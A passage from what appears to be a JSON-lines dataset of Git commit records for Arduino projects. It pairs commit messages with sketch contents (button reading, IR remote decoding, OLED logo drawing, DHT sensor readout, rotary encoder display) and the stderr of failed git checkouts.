digitalRead(PlayerOneLeft);\n OneRightBtnVal = digitalRead(PlayerOneRight);\n TwoLeftBtnVal = digitalRead(PlayerTwoLeft);\n TwoRightBtnVal = digitalRead(PlayerTwoRight);\n \/\/String s = buttonValue1 + buttonValue2;\n Serial.print(\"AL\");\n Serial.print(OneLeftBtnVal);\n Serial.print(\":\");\n Serial.print(\"AR\");\n Serial.print(OneRightBtnVal);\n Serial.print(\":\");\n Serial.print(\"BL\");\n Serial.print(TwoLeftBtnVal);\n Serial.print(\":\");\n Serial.print(\"BR\");\n Serial.println(TwoRightBtnVal);\n\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ping-pong.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb0d4a2ed34aa8609f782e9da2db917e93eebd2b","subject":"Pince: en-t\u00eates de fonctions partiellement compl\u00e9t\u00e9es","message":"Pince: en-t\u00eates de fonctions partiellement compl\u00e9t\u00e9es\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea1f6dc341e7a8b65f681018908d282f07599d98","subject":"Added a simple Extend-o-Hand motion capture sketch","message":"Added a simple Extend-o-Hand motion capture sketch\n","repos":"joshsh\/smsn,joshsh\/smsn,joshsh\/extendo,joshsh\/extendo,joshsh\/extendo,joshsh\/extendo,joshsh\/extendo,joshsh\/smsn,joshsh\/extendo,joshsh\/smsn,joshsh\/smsn,joshsh\/smsn,joshsh\/smsn,joshsh\/extendo","old_file":"extendo-hand\/src\/main\/arduino\/hand_motion_capture\/hand_motion_capture.ino","new_file":"extendo-hand\/src\/main\/arduino\/hand_motion_capture\/hand_motion_capture.ino","new_contents":"\/*\n * Extend-o-Hand simple motion capture sketch, copyright 2014 by Joshua Shinavier\n * \n * See: https:\/\/github.com\/joshsh\/extendo\n *\/\n\n\n#define THREEAXIS 0\n#define NINEAXIS 1\n\n#include <ExtendoHand.h>\n\n\/\/ ExtendoHand dependencies (they are included in ExtendoHand.cpp, but technically they must be included here)\n#include <Droidspeak.h>\n#include <ExtendOSC.h>\n#include <Morse.h>\n#include <RGBLED.h>\n#include <Adafruit_NeoPixel.h>\n#include <OSCMessage.h>\n#include <OSCBundle.h>\n#include <MMA7361.h>\n#include <Wire.h>\n#include <I2Cdev.h>\n#include <ADXL345.h>\n#include <ITG3200.h>\n#include <HMC5883L.h>\n\nExtendoHand exoHand;\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup() {\n \/\/ output only\n exoHand.enableInput(false);\n\n exoHand.setup();\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid loop() {\n unsigned long now = exoHand.beginLoop();\n\n double ax, ay, az, gx, gy, gz, mx, my, mz;\n\n exoHand.getAcceleration(&ax, &ay, &az);\n exoHand.getRotation(&gx, &gy, &gz);\n exoHand.getHeading(&mx, &my, &mz);\n\n OSCMessage m(\"\/exo\/hand\/motion\");\n m.add((uint64_t) now);\n \/\/m.add(exoHand.getLoopTime());\n m.add(ax); m.add(ay); m.add(az);\n m.add(gx); m.add(gy); m.add(gz);\n m.add(mx); m.add(my); m.add(mz);\n exoHand.getOSC()->sendOSC(m);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'extendo-hand\/src\/main\/arduino\/hand_motion_capture\/hand_motion_capture.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"05d6c1f937b9ec1b338556ca2b00cd15801a358c","subject":"add obstacle detection into a func; increase readability","message":"add obstacle detection into a func; increase readability\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b32843dc506e1ce612cb4ffa8a59d2da68f6820","subject":"Deleted pyp_gait","message":"Deleted pyp_gait\n","repos":"Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot","old_file":"Arduino code\/pyp_gaits\/pyp_gaits.ino","new_file":"Arduino code\/pyp_gaits\/pyp_gaits.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/pyp_gaits\/pyp_gaits.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"891260f9918be301442c70ebfe664252be03295f","subject":"add basic LED blink\/pwm","message":"add basic LED blink\/pwm\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"54fa4256726a1d4ab47f824c0f139eaa2a675676","subject":"Add SparkFun remote test","message":"Add SparkFun remote test\n","repos":"ma-laforge\/ArduinoCIR,ma-laforge\/ArduinoCIR","old_file":"libraries\/ir_messaging\/samples\/sparkfun_remote_test\/sparkfun_remote_test.ino","new_file":"libraries\/ir_messaging\/samples\/sparkfun_remote_test\/sparkfun_remote_test.ino","new_contents":"\/* sparkfun_remote_test.ino\n\nPrints out decoded button when a message is received from the SparkFun IR remote.\n*\/\n\n\/\/Tell linker which libraries to include:\n#include <arduino_tools_linkLib.h>\n#include <arduino_timers_linkLib.h>\n#include <ir_messaging_linkLib.h>\n\n\/\/Normal includes:\n#include <irhw.h>\n#include <ir_receiver.h>\n\n\n\n\/\/Device ID code:\nconst uint32_t CODE_DEVID = 0x10EF0000; \/\/An NEC device remote\n\n\/\/Individual button codes:\nconst uint32_t CODE_POWER = CODE_DEVID | 0xD827;\nconst uint32_t CODE_A = CODE_DEVID | 0xF807;\nconst uint32_t CODE_B = CODE_DEVID | 0x7887;\nconst uint32_t CODE_C = CODE_DEVID | 0x58A7;\nconst uint32_t CODE_UP = CODE_DEVID | 0xA05F;\nconst uint32_t CODE_DOWN = CODE_DEVID | 0x00FF;\nconst uint32_t CODE_LEFT = CODE_DEVID | 0x10EF;\nconst uint32_t CODE_RIGHT = CODE_DEVID | 0x807F;\nconst uint32_t CODE_SELECT = CODE_DEVID | 0x20DF;\n\/\/NOTE: \"|\" concatenates upper 4 \"device\" hex codes with lower 4 \"button\" hex codes\n\n\n\n\/\/-----Instantiate HW-specific components-----\n#define _HW_SELECTCONFIG 1 \/\/1..2\nconst int PIN_IRRX = 4; \/\/IR receiver pin\nconst bool INVERT_IRRX_SIGNAL = true; \/\/Depends on polarity of rx module\n\n#if (_HW_SELECTCONFIG == 1)\n #define TIMER_IRRX 1 \/\/!*\n IRRX_CREATE_TMR16B(irRx, TIMER_IRRX, PIN_IRRX, INVERT_IRRX_SIGNAL)\n#elif (_HW_SELECTCONFIG == 2)\n \/\/ ***ATmega1280\/2560 only***\n #define TIMER_IRRX 4 \/\/!*\n IRRX_CREATE_TMR16B(irRx, TIMER_IRRX, PIN_IRRX, INVERT_IRRX_SIGNAL)\n#endif\n\/\/!*Must be #define-d to work with pre-processor macro\n\n\n\nvoid setup() {\n irRx.Configure();\n Serial.begin(9600);\n Serial.print(\"\\n\\n**********************\");\n Serial.print(\"\\nRX input pin: \"); Serial.print(PIN_IRRX);\n Serial.print(\"\\n\");\n}\n\nvoid loop() {\n IRCtrl::IRMsg msg;\n\n if (irRx.PopMsg(&msg)) {\n if (IRCtrl::IRProtocol::NEC_RPT == msg.protocol) {\n \/\/Repeat signal detected.\n \/\/NOTE: NEC repeat signal has its own protocol... just easier that way.\n Serial.print(\" REPEAT\");\n } else {\n \/\/Identify decoded signal (if supported):\n switch (msg.data) {\n case CODE_POWER:\n Serial.print(\"\\nPOWER\"); break;\n case CODE_A:\n Serial.print(\"\\nA\"); break;\n case CODE_B:\n Serial.print(\"\\nB\"); break;\n case CODE_C:\n Serial.print(\"\\nC\"); break;\n case CODE_UP:\n Serial.print(\"\\nUP\"); break;\n case CODE_DOWN:\n Serial.print(\"\\nDOWN\"); break;\n case CODE_LEFT:\n Serial.print(\"\\nLEFT\"); break;\n case CODE_RIGHT:\n Serial.print(\"\\nRIGHT\"); break;\n case CODE_SELECT:\n Serial.print(\"\\nSELECT\"); break;\n }\n }\n }\n}\n\n\/\/Last line\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ir_messaging\/samples\/sparkfun_remote_test\/sparkfun_remote_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10478154b5ff596c03f339cd98a9718d91ecb9ba","subject":"Not updating brightness bug fixed","message":"Not updating brightness bug fixed\n","repos":"VaSe7u\/Music_LED_strip,VaSe7u\/Music_LED_strip","old_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VaSe7u\/Music_LED_strip.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7729db71dddd1b3cf05a8cb3eebc8fa169a7220b","subject":"Add example for lora32 board.","message":"Add example for lora32 board.\n","repos":"sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource","old_file":"microcontrollers\/arduino-esp32\/lora32-oled\/lora32-oled.ino","new_file":"microcontrollers\/arduino-esp32\/lora32-oled\/lora32-oled.ino","new_contents":"\/*\n 06\/01\/2016\n Author: Makerbro\n Platforms: ESP8266\n Language: C++\n File: DrawLogo.ino\n ------------------------------------------------------------------------\n Description: \n Drawing an image in the OLED display. The image date was generated using a \n bitmap generator.\n ------------------------------------------------------------------------\n Please consider buying products from ACROBOTIC to help fund future\n Open-Source projects like this! We'll always put our best effort in every\n project, and release all our design files and code for you to use. \n https:\/\/acrobotic.com\/\n ------------------------------------------------------------------------\n License:\n Released under the MIT license. Please check LICENSE.txt for more\n information. All text above must be included in any redistribution. \n*\/\n#include <Wire.h>\n#include <ACROBOTIC_SSD1306.h>\n\nstatic unsigned char ACROBOT[] PROGMEM ={\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x80,0x80,0x00,0x00,0x00,0x02,\n0x06,0x8E,0xFE,0xFC,0xFC,0xF8,0xE0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0xE0,0xF8,0xF8,0xFC,0xFC,0xCE,0x86,0x02,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x03,0x0F,0x1F,0x1E,0x3C,0x3E,\n0x3F,0x3F,0x3F,0x3F,0x7F,0xFF,0xFF,0xFE,0xFC,0x78,0x30,0x90,0xC0,0xE0,0xE0,0xF0,\n0xF0,0xF0,0xF8,0xF8,0xF8,0xF0,0xF0,0xF0,0xE0,0xE0,0xC0,0x80,0x30,0x78,0xFC,0xFE,\n0xFF,0xFF,0xFF,0x7F,0x3F,0x3F,0x3F,0x3F,0x3C,0x1E,0x1F,0x0F,0x03,0x00,0x00,0xF0,\n0x00,0x00,0x00,0x00,0xF0,0x00,0x00,0x00,0x00,0x00,0xF0,0x10,0x10,0x10,0x10,0x10,\n0x00,0x00,0x00,0x00,0xF0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x20,0x10,0x10,0x10,0x30,0x60,0xC0,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x03,0xF9,0xFE,0xFF,0x7F,0x3F,0x3F,0x1F,0x3F,\n0x3F,0xFF,0xFF,0xFF,0xFF,0xFF,0x3F,0x3F,0x1F,0x1F,0x3F,0x7F,0xFF,0xFE,0xF9,0x83,\n0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1F,\n0x01,0x01,0x01,0x01,0x1F,0x00,0x00,0x00,0x00,0x00,0x1F,0x11,0x11,0x11,0x11,0x11,\n0x00,0x00,0x00,0x00,0x1F,0x10,0x10,0x10,0x10,0x10,0x00,0x00,0x00,0x1F,0x10,0x10,\n0x10,0x10,0x10,0x00,0x00,0x00,0x07,0x08,0x10,0x10,0x10,0x18,0x0C,0x07,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x83,0x3F,0xFF,0xFF,0xF8,0xF0,0xF8,0xFC,0xFC,\n0xFE,0xFF,0x7F,0x9F,0x3F,0xFF,0xFE,0xFC,0xFC,0xF8,0xF0,0xF0,0xFF,0xFF,0x3F,0x87,\n0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1C,0xF0,\n0x00,0xC0,0x7C,0x0C,0xF8,0x80,0x80,0xF8,0x0C,0x00,0x00,0x00,0xF0,0x18,0x0C,0x04,\n0x04,0x04,0x08,0xF0,0x00,0x00,0x00,0x00,0xFC,0x44,0x44,0x44,0xC4,0x6C,0x38,0x00,\n0x00,0x00,0x00,0xFC,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFC,0x04,0x04,0x04,\n0x04,0x0C,0xF8,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0xC0,0xE0,0xF0,0x78,0x38,0x7C,\n0xFC,0xFC,0xFC,0xFC,0xFE,0xFF,0xFF,0x7F,0x3E,0x1C,0x1B,0x07,0x3F,0x7F,0x7F,0x7F,\n0x3F,0x3F,0x7F,0x7F,0x7F,0x3F,0x3F,0x7F,0x7F,0x7F,0x3F,0x07,0x0B,0x1C,0x3E,0x7F,\n0xFF,0xFF,0xFE,0xFE,0xFC,0xFC,0xFC,0x7C,0x38,0x78,0xF0,0xE0,0xC0,0x00,0x00,0x00,\n0x07,0x07,0x00,0x00,0x00,0x07,0x07,0x00,0x00,0x00,0x00,0x00,0x01,0x03,0x06,0x04,\n0x04,0x04,0x02,0x01,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x03,0x06,0x04,\n0x00,0x00,0x00,0x07,0x04,0x04,0x04,0x04,0x04,0x00,0x00,0x00,0x07,0x04,0x04,0x04,\n0x04,0x06,0x03,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x01,0x01,0x00,0x00,0x00,0x40,\n0x60,0x71,0x7F,0x3F,0x3F,0x1F,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x07,0x1F,0x3F,0x3F,0x7F,0x73,0x60,0x40,0x00,0x00,0x00,0x01,0x01,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,\n0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF\n};\n\nvoid setup()\n{\n pinMode(16,OUTPUT);\n digitalWrite(16, LOW); \/\/ set GPIO16 low to reset OLED\n delay(50); \n digitalWrite(16, HIGH); \/\/ while OLED is running, must set GPIO16 to high \n \n Wire.begin(4,15); \n oled.init(); \/\/ Initialze SSD1306 OLED display\n oled.clearDisplay(); \/\/ Clear screen\n oled.drawBitmap(ACROBOT, 1024); \/\/ 1024 pixels for logo\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'microcontrollers\/arduino-esp32\/lora32-oled\/lora32-oled.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5aa0f65ff053b3fffd7978226c2f620e199ce2b2","subject":"upate demo","message":"upate demo\n","repos":"Seeed-Studio\/Grove_Serial_MP3_Player_V2.0,Seeed-Studio\/Grove_Serial_MP3_Player_V2.0","old_file":"examples\/MP3_Play_Test\/MP3_Play_Test.ino","new_file":"examples\/MP3_Play_Test\/MP3_Play_Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Seeed-Studio\/Grove_Serial_MP3_Player_V2.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"73ac7f22288f51d3b36892f65e55142ed6a5ece5","subject":"Delete main.ino","message":"Delete main.ino","repos":"irfansehic\/web_based_rgb_controller,irfansehic\/web_based_rgb_controller","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/irfansehic\/web_based_rgb_controller.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e8619c1672de09de1a0166df2842f8c89b3cc832","subject":"First test on Arduino Mega 2560","message":"First test on Arduino Mega 2560\n\nThis is the first code I tried using a DHT11 Temperature and Humidity sensor on the main controller, the Arduino Mega 2560.\n- mid January 2017\n","repos":"Seba7159\/myHaum,Seba7159\/myHaum,Seba7159\/myHaum","old_file":"temp\/temp.ino","new_file":"temp\/temp.ino","new_contents":"#include <Adafruit_Sensor.h>\n#include <DHT.h>\n#include <DHT_U.h>\n\n#define DHTPIN 2 \/\/ Pin which is connected to the DHT sensor.\n\n\/\/ Uncomment the type of sensor in use:\n\/\/#define DHTTYPE DHT11 \/\/ DHT 11 \n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ See guide for details on sensor wiring and usage:\n\/\/ https:\/\/learn.adafruit.com\/dht\/overview\n\nDHT_Unified dht(DHTPIN, DHTTYPE);\n\nuint32_t delayMS;\n\nvoid setup() {\n Serial.begin(9600); \n \/\/ Initialize device.\n dht.begin();\n Serial.println(\"DHTxx Unified Sensor Example\");\n \/\/ Print temperature sensor details.\n sensor_t sensor;\n dht.temperature().getSensor(&sensor);\n Serial.println(\"------------------------------------\");\n Serial.println(\"Temperature\");\n Serial.print (\"Sensor: \"); Serial.println(sensor.name);\n Serial.print (\"Driver Ver: \"); Serial.println(sensor.version);\n Serial.print (\"Unique ID: \"); Serial.println(sensor.sensor_id);\n Serial.print (\"Max Value: \"); Serial.print(sensor.max_value); Serial.println(\" *C\");\n Serial.print (\"Min Value: \"); Serial.print(sensor.min_value); Serial.println(\" *C\");\n Serial.print (\"Resolution: \"); Serial.print(sensor.resolution); Serial.println(\" *C\"); \n Serial.println(\"------------------------------------\");\n \/\/ Print humidity sensor details.\n dht.humidity().getSensor(&sensor);\n Serial.println(\"------------------------------------\");\n Serial.println(\"Humidity\");\n Serial.print (\"Sensor: \"); Serial.println(sensor.name);\n Serial.print (\"Driver Ver: \"); Serial.println(sensor.version);\n Serial.print (\"Unique ID: \"); Serial.println(sensor.sensor_id);\n Serial.print (\"Max Value: \"); Serial.print(sensor.max_value); Serial.println(\"%\");\n Serial.print (\"Min Value: \"); Serial.print(sensor.min_value); Serial.println(\"%\");\n Serial.print (\"Resolution: \"); Serial.print(sensor.resolution); Serial.println(\"%\"); \n Serial.println(\"------------------------------------\");\n \/\/ Set delay between sensor readings based on sensor details.\n delayMS = sensor.min_delay \/ 1000;\n}\n\nvoid loop() {\n \/\/ Delay between measurements.\n delay(delayMS);\n \/\/ Get temperature event and print its value.\n sensors_event_t event; \n dht.temperature().getEvent(&event);\n if (isnan(event.temperature)) {\n Serial.println(\"Error reading temperature!\");\n }\n else {\n Serial.print(\"Temperature: \");\n Serial.print(event.temperature);\n Serial.println(\" *C\");\n }\n \/\/ Get humidity event and print its value.\n dht.humidity().getEvent(&event);\n if (isnan(event.relative_humidity)) {\n Serial.println(\"Error reading humidity!\");\n }\n else {\n Serial.print(\"Humidity: \");\n Serial.print(event.relative_humidity);\n Serial.println(\"%\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp\/temp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"31ca7fc1c8e771a8c2387af2101dfc2006db3ac4","subject":"Restore life balance","message":"Restore life balance\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d3ab2796b4e26d62ef61f18f5c111f7fbd490b4a","subject":"Adding test directory","message":"Adding test directory\n","repos":"MiltonStanley\/Synthduino,MiltonStanley\/Synthduino","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"void setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println(5);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e32d1a6e46ce7e8cba3148f45b3697d454d6676b","subject":"first version, w\/ oled display a\/ rotary encoder no support for nfc yet","message":"first version, w\/ oled display a\/ rotary encoder no support for nfc yet\n","repos":"LesMargoulins\/Margoulineur2000,LesMargoulins\/Margoulineur2000","old_file":"Margoulineur2000.ino","new_file":"Margoulineur2000.ino","new_contents":"#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n\n#define LOGO16_GLCD_HEIGHT 16 \n#define LOGO16_GLCD_WIDTH 16 \n#include <Encoder.h>\nEncoder myEnc(2, 3);\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nvoid setup() { \n Serial.begin(9600);\n\n\nlong oldPosition = -999;\n \n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \n display.clearDisplay();\n \n \/\/ draw the first ~12 characters in the font\n \/\/testdrawchar();\n \/\/display.display();\n \/\/delay(2000);\n \/\/display.clearDisplay();\n\n \/\/ draw scrolling text\n \/\/testscrolltext();\n \/\/delay(2000);\n \/\/display.clearDisplay();\n\n \/\/ text display tests\n \/\/ display.setTextSize(1);\n \/\/ display.setTextColor(WHITE);\n\n\n\n \n}\n\nlong oldPosition = -999;\n\nvoid loop() {\n long newPosition = myEnc.read();\n if (newPosition != oldPosition)\n {\n oldPosition = newPosition -1;\n Serial.println(oldPosition);\n \n \n display.clearDisplay();\n display.setCursor(0,0);\n 